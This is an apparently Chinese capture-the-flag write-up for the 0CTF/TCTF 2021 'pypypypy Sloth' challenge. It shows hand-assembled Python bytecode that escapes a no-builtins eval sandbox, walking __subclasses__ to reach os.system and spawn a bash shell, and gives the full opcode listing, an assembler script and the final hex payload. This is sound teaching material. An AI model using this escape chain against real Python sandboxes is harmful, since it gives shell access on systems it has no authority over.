【0CTF/TCTF2021预选】[Misc] pypypypy Sloth writeup python字节码编程
文章目录
- 题目
- 审计代码
- 主要思路
- 获取属性
- 获取常量
- 其他特性
- 解题阻碍
- get_flag
- 小结
- 参考文章
题目
nc 进去之后会返回python代码
题目环境
3.8.11 (default, Jun 29 2021, 19:54:56)
[GCC 8.3.0]
import sys
from pathlib import Path
from types import CodeTypesrc = Path(__file__).read_text()print(globals())
print(sys.version)
print(src)codestring = bytes.fromhex(input('Give me your bytecode in hex:'))
assert len(codestring) <= 2000, 'Too long!'print('Thanks!')
print('I will give you two gifts in exhange, what do you want?')gift1 = input('gift1: ')
gift2 = input('gift2: ')
assert len(gift1) <= 10, 'Too long!'
assert len(gift2) <= 10, 'Too long!'code = CodeType(0, 0, 0, 0, 0, 0, codestring, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')result = eval(code, {'__builtins__': None}, {})
print('success, bye!')
审计代码
要求就是运用两个格式为(f’__{gift1}__’, f’__{gift2}__’)的全局名称,编写python字节码,getshell(就是自己写python的shellcode,有点pwn的内味)
没有局部变量,没有常量
Python 中的代码对象 code object 与 __code__ 属性
全局名称(co_names
)就是指所有的名称
比如
def f():print('sssss')print([].__class__)
这个代码中
co_names=('f','print','__class__')
co_consts=('sssss')
题目把全局变量__builtins__
设为了None
,就是说不能用__builtins__.__dict__['open']
直接访问文件
主要思路
获取属性
思路其实也很简单
没有常量,就只能找已经定义好的常量
globals()
查看当前位置所有的全局变量
但这个需要耗费一个全局名称,没法构造,放弃
还有另一条路就是运用字节码中的
BUILD_LIST 创建列表
BUILD_TUPLE 创建元组
BUILD_SET 创建集合
BUILD_MAP 创建字典
BUILD_STRING 创建字符串,拼接字符串
详情见python 3.8.11 字节码
如果这个时候就很自然的想到python的模板注入
[].__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('bash')
但只有两个全局名称
上面代码用到了5个名称,3个常量,不可行
在找方法的过程中耗费了很多时间
第二天,我才注意到了这个字节码和__dict__属性
UNPACK_EX(counts)
实现使用带星号的目标进行赋值:将 TOS 中的可迭代对象解包为单独的值,其中值的总数可以小于可迭代对象中的项数:新值之一将是由所有剩余项构成的列表。
counts 的低字节是列表值之前的值的数量,counts 中的高字节则是之后的值的数量。 结果值会按从右至左的顺序入栈。
python中对一个变量取它的属性先当于调用__getattribute__方法
[].__class__ <=> getattr([], '__class__') <=> [].__getattribute__('__class__')
但是题目限制了__中间的长度不能超过10个字节,那就不能直接用__getattribute__
但可以间接用,__dict__属性中可以找到__getattribute__属性
[].__class__ <=> [].__class__.__dict__['__getattribute__']([], '__class__')
解决了各个属性的调用,接下来就是常量了
模板注入中用到的常量133
、bash
,还有获取属性的那些常量
获取常量
首先是获取属性的那些常量(比如’__getattribute__’)
可以用一下字节码获取
BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
UNPACK_EX 3 # 将[].__class__.__dict__前3个解包,存入栈中,'__getattribute__'在第三个位置
POP_TOP # POP掉第一个
POP_TOP # POP掉第而个
ROT_TWO # 交换栈顶两个值
POP_TOP # 解包会把[].__class__.__dict__.keys()先压入栈,最后两行字节码就是把[].__class__.__dict__.keys()给POP掉
这样就获取到了’__getattribute__'字符串
其次就是133
常量
这个可以通过调用
[[]].__len__()
<=> [].__class__.__dict__['__getattribute__']([[]], '__len__')()
将栈顶的存入一个1
对应字节码:BUILD_LIST 0 # []
BUILD_LIST 1 # [[]] arg1
BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
UNPACK_EX 12
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP # '__len__' arg2
CALL_METHOD 1 # [].__class__.__dict__['__getattribute__']([[]], '__len__')
CALL_FUNCTION 0 # [].__class__.__dict__['__getattribute__']([[]], '__len__')() -> TOS = 1
再通过一般指令(复制、交换等),二元操作(+ - * /
等)
将1
变成133
最后就是'base'
字符串
其实这个也简单
这个字节码可以拼接字符串
[].__class__.__dict__
的解包结果是字符串,再用BINARY_SUBSCR
就可以获取每个字符,最后拼接
BUILD_STRING(count)
拼接 count 个来自栈的字符串并将结果字符串推入栈顶。
BINARY_SUBSCR
实现 TOS = TOS1[TOS]
其他特性
题目中没有给局部变量的存储空间
但是其实是可以有的
STORE_NAME(namei)
实现 name = TOS。 namei 是 name 在代码对象的 co_names 属性中的索引。
LOAD_NAME(namei)
将与 co_names[namei] 相关联的值推入栈顶。
在python代码对象中中,co_names
是字符串元组,也就是说,这个既可以做变量名,又可以做属性名
__class__ = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
这样就有了两个全局变量,可以暂时存放中间变量,减少字节码长度(题目中限制bytecode的2000个字符长度)
解题阻碍
- 类型匹配
.__dict__['__getattribute__'](arg1,arg2) 需要注意这个函数的类型和参数的匹配[].__class__是type类型
[].__class__.__class__.__dict__['__getattribute__'] => <slot wrapper '__getattribute__' of 'type' objects>
- 属性无法获取
当我已经构建好
tmp = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattribute__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__class__.__dict__['__getattribute__'](tmp, '__init__')tmp => <function _wrap_close.__init__ at 0x0000013FA9FC54C0>
在最后的获取__globals__属性时,发现function类型没有__getattribute__属性,这个又卡了好久
最后找到了方法
tmp = tmp.__class__.__dict__['__globals__'].__class__.__dict__['__getattribute__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)
获取到了全局变量的字典
这个时候tmp['system']
就是 <built-in function system>
get_flag
最终的字节码全貌
BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 0 # [].__class__.__class__
LOAD_ATTR 1 # [].__class__.__class__.__dict__
BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
UNPACK_EX 3 # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)BUILD_LIST 0
LOAD_ATTR 0 # arg1BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 0 # [].__class__.__class__
LOAD_ATTR 1 # [].__class__.__class__.__dict__
UNPACK_EX 19 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP # '__base__' arg2CALL_METHOD 2 # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')LOAD_ATTR 0 # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__
LOAD_ATTR 1 # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__.__dict__BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 0 # [].__class__.__class__
LOAD_ATTR 1 # [].__class__.__class__.__dict__
UNPACK_EX 9 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP # '__subclasses__'BINARY_SUBSCR # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__.__dict__['__subclasses__']BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 0 # [].__class__.__class__
LOAD_ATTR 1 # [].__class__.__class__.__dict__
BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
UNPACK_EX 3 # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)BUILD_LIST 0
LOAD_ATTR 0 # arg1BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 0 # [].__class__.__class__
LOAD_ATTR 1 # [].__class__.__class__.__dict__
UNPACK_EX 19 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP # '__base__' arg2CALL_METHOD 1 # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
CALL_METHOD 1 # [<class 'type'>...BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
UNPACK_EX 3 # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR # [].__class__.__dict__['__getattribute__'](arg1, arg2)BUILD_LIST 0 # []
BUILD_LIST 1 # [[]] arg1
BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
UNPACK_EX 12
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP # '__len__' arg2
CALL_METHOD 1 # [].__class__.__dict__['__getattribute__']([[]], '__len__')
CALL_FUNCTION 0 # [].__class__.__dict__['__getattribute__']([[]], '__len__')() -> TOS = 1DUP_TOP # 1 1
DUP_TOP # 1 1 1
BINARY_ADD # 2 1
STORE_NAME 0 # a=2LOAD_NAME 0
LOAD_NAME 0
BINARY_ADD
STORE_NAME 0 # a=4LOAD_NAME 0 # 4 1LOAD_NAME 0
LOAD_NAME 0
BINARY_ADD
STORE_NAME 0 # a=8
LOAD_NAME 0
LOAD_NAME 0
BINARY_ADD
STORE_NAME 0 # a=16
LOAD_NAME 0
LOAD_NAME 0
BINARY_ADD
STORE_NAME 0 # a=32
LOAD_NAME 0
LOAD_NAME 0
BINARY_ADD
STORE_NAME 0 # a=64
LOAD_NAME 0
LOAD_NAME 0
BINARY_ADD
STORE_NAME 0 # a=128
LOAD_NAME 0 # 128 4 1BINARY_ADD
BINARY_ADDBINARY_SUBSCR
STORE_NAME 1 # b=<class 'warnings.catch_warnings'>
LOAD_NAME 1
LOAD_ATTR 0 # b.__class__
LOAD_ATTR 1 # b.__class__.__dict__
LOAD_NAME 1
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 1 # [].__class__.__dict__
UNPACK_EX 3 # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)LOAD_NAME 1 # arg1BUILD_LIST 0 # []
LOAD_ATTR 0 # [].__class__
LOAD_ATTR 0 # [].__class__.__class__
LOAD_ATTR 1 # [].__class__.__class__.__dict__
UNPACK_EX 6 # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP # '__init__'CALL_FUNCTION 2
DUP_TOP
LOAD_ATTR 0
LOAD_ATTR 1DUP_TOPUNPACK_EX 7 # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOPBINARY_SUBSCRDUP_TOP
DUP_TOP
DUP_TOPLOAD_ATTR 0
LOAD_ATTR 1UNPACK_EX 2
POP_TOP
ROT_TWO
POP_TOPROT_TWO
LOAD_ATTR 0
LOAD_ATTR 1
ROT_TWOBINARY_SUBSCRROT_THREELOAD_ATTR 0
LOAD_ATTR 1UNPACK_EX 3
POP_TOP
POP_TOP
ROT_TWO
POP_TOPCALL_FUNCTION 2
ROT_TWO
CALL_FUNCTION 1STORE_NAME 1
LOAD_NAME 1UNPACK_EX 46
POP_TOP x45
ROT_TWO
POP_TOPLOAD_NAME 1
ROT_TWO
BINARY_SUBSCRLOAD_NAME 0
LOAD_NAME 0
BINARY_FLOOR_DIVIDE
LOAD_NAME 0
LOAD_NAME 0
BINARY_FLOOR_DIVIDE
BINARY_ADD
STORE_NAME 0LOAD_NAME 1
UNPACK_EX 8
POP_TOP x7
ROT_TWO
POP_TOP
LOAD_NAME 0
BINARY_SUBSCRLOAD_NAME 1
UNPACK_EX 13
POP_TOP x12
ROT_TWO
POP_TOP
LOAD_NAME 0
BINARY_SUBSCRLOAD_NAME 1
UNPACK_EX 10
POP_TOP x9
ROT_TWO
POP_TOP
LOAD_NAME 0
BINARY_SUBSCRLOAD_NAME 1
UNPACK_EX 12
POP_TOP x11
ROT_TWO
POP_TOP
LOAD_NAME 0
BINARY_SUBSCRBUILD_STRING 4
CALL_FUNCTION 1PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPRBUILD_LIST 0
RETURN_VALUE
上面的字节码相当于下面的代码
tmp = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattribute__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__class__.__dict__['__getattribute__'](tmp, '__init__')
tmp = tmp.__class__.__dict__['__globals__'].__class__.__dict__['__getattribute__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)
tmp['system']('bash')
再写一个转16进制字节码的脚本
import dis
import rewith open('test.txt', 'r') as f:data = f.read().splitlines()def com_py(s: str):sarr = re.split('[ ]+', s)sarr = [_ if _ != '' else '#' for _ in sarr]print(sarr)if '#' in sarr:sarr = sarr[:sarr.index('#')]if len(sarr) > 1:code, num = sarrnum = int(num)return hex(dis.opmap[code])[2:].rjust(2, '0') + hex(num)[2:].rjust(2, '0')else:code = sarr[0]return hex(dis.opmap[code])[2:].rjust(2, '0') + '00'dis_code = ''
for da in data:n = 1if "##" in da:continueif '###' in da:breakif 'x' in da:print(da)s = re.search('x[0-9]+', da).group(0)n = int(s[1:])print(n, s)da = da.replace(s, '')print(da)if da != '':dis_code += com_py(da) * n
dis.dis(bytes.fromhex(dis_code))
print('code> ', dis_code, end='\n\n')
print('code_len> ', len(dis_code)//2, end='\n\n')
得到16进制表示的字节码
67006a006a006a0167006a006a015e030100010002000100190067006a0067006a006a006a015e1301000100010001000100010001000100010001000100010001000100010001000100010002000100a1026a006a0167006a006a006a015e090100010001000100010001000100010002000100190067006a006a006a0167006a006a015e030100010002000100190067006a0067006a006a006a015e1301000100010001000100010001000100010001000100010001000100010001000100010002000100a101a10167006a006a0167006a006a015e03010001000200010019006700670167006a006a015e0c0100010001000100010001000100010001000100010002000100a10183000400040017005a006500650017005a0065006500650017005a006500650017005a006500650017005a006500650017005a006500650017005a0065001700170019005a0165016a006a0165016a006a015e0301000100020001001900650167006a006a006a015e060100010001000100010002000100830204006a006a0104005e070100010001000100010001000200010019000400040004006a006a015e0201000200010002006a006a010200190003006a006a015e0301000100020001008302020083015a0165015e2e01000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010002000100650102001900650065001a00650065001a0017005a0065015e080100010001000100010001000100020001006500190065015e0d010001000100010001000100010001000100010001000100020001006500190065015e0a010001000100010001000100010001000100020001006500190065015e0c0100010001000100010001000100010001000100010002000100650019009d0483014600460046004600460067005300
字节码转换后长度为732个字符
最后的最后,getshell
flag{hope_you_enjoy_the_gifts_as_well_as_the_chall}
小结
- TCTF两天的比赛时间,整出了两题Misc,要学的东西还是好多
- 新的技能——用python字节码编程,学到了不少东西
- 另外我还做出了另一题比较有意思的misc singer,直通车【2021TCTF】[Misc] singer writeup 音乐人狂喜
参考文章
Python 中的代码对象 code object 与 code 属性
dis — Python 字节码反汇编器
python 模板注入
【0CTF/TCTF2021预选】[Misc] pypypypy Sloth writeup python字节码编程相关推荐
- Python字节码介绍
了解 Python 字节码是什么,Python 如何使用它来执行你的代码,以及知道它是如何帮到你的. 如果你曾经编写过 Python,或者只是使用过 Python,你或许经常会看到 Python 源代 ...
- python字节码大全
ddis --- Python 字节码反汇编器 Source code: Lib/dis.py dis 模块通过反汇编支持CPython的 bytecode 分析.该模块作为输入的 CPython 字 ...
- python字节码执行函数_做一个字节码追踪器,从内部理解 Python 的执行过程
最近我在研究 Python 的执行模型.我对 Python 内部的东西挺好奇,比如:类似 YIELDVALUE 和 YIELDFROM 此类操作码的实现:列表表达式.生成器表达式以及一些有趣的Pyth ...
- python 字节码_32.12. dis — Python 字节码反汇编器 — Python 2.7.18 文档
32.12.1.Python字节码说明¶ Python编译器当前生成以下字节码指令. STOP_CODE()¶ Indicates end-of-code to the compiler, not u ...
- 中关村2019逆向 Reverse lebel:控制流平坦化 / python字节码分析
flat 题目名字,流程图都指向了控制流平坦化 通过阅读 https://blog.csdn.net/yangbostar/article/details/6204724 了解了 顺序流/条件流/循环 ...
- python 字节码 优化_python,_Python 字节码优化问题,python - phpStudy
Python 字节码优化问题 问题背景: Python在执行的时候会加载每一个模块的PyCodeObject,其中这个对象就包含有opcode,也就是这个模块所有的指令集合,具体定义在源码目录的 /i ...
- python字节码转换_python字节码(转)
了解 Python 字节码是什么,Python 如何使用它来执行你的代码,以及知道它是如何帮到你的. 如果你曾经编写过 Python,或者只是使用过 Python,你或许经常会看到 Python 源代 ...
- 初探Python字节码和dis模块
本文主要介绍 Python 字节码.Python 虚拟机内幕以及 dis 模块的简单应用.阅读本文预计 10 min. 初探Python字节码和dis模块 1. 前言 2. Python 字节码 2. ...
- python 字节码_简单入门python字节码混淆
前言 我就是小菜鸡本鸡了,不是很会写东西,请各位大佬多多见谅.本文基于python2.7,因为python3并不是很懂. python文件如果要发布的话,有时候还是难免想保护一下自己的源码,有些人就直 ...
- python 字节码操作_从操作码和参数列表创建Python字节码?
我写了很多关于这个here的文章,所以我不会重复,但会给出一些总结性的评论.在 这绝对是可行的,但我想知道它会有多大的用处.这个链接涉及到如何运行和写出这样的东西.在 字节码在操作码.操作码名称或版本 ...
最新文章
- 阿里云天池大赛赛题解析――深度学习篇
- 【译】使用这些 CSS 属性选择器来提高前端开发效率!
- Java NIO——Selector机制源码分析---转
- tensorflow2.0中的Broadcasting用法
- hadoop学习2 记录配置hadoop环境的那些坑
- uni开发中可以用table标签么_「uni-app 组件」t-table 表格
- 视频中场的问题2009-04-03 19:38(一)
- 交错排列(Alternating Permutation)问题详解
- console.log(12.toString())为啥会报错呢?
- 让子弹飞经典台词|让子弹飞经典语录
- PCB设计的工艺流程
- 苹果描述文件服务器证书无效,iOS 描述文件重新配置失效问题,解决方法!
- 【Flutter】Dart 数据类型 数字类型 ( Dart 文件创建 | num 类型 | int 类型 | double 类型 | num 相关 API )
- Nginx配置及常用配置
- conda create出现连接问题_处理conda安装工具的动态库缺失问题
- JADE学习笔记2 :Agent的创建和运行
- macOS安装软件的正确方法
- 辐射发射的测试标准和测试方法
- 为何家会伤人:2020-10-15早上
- Android开发全套学习!阿里P7级别面试经验总结,移动架构师成长路线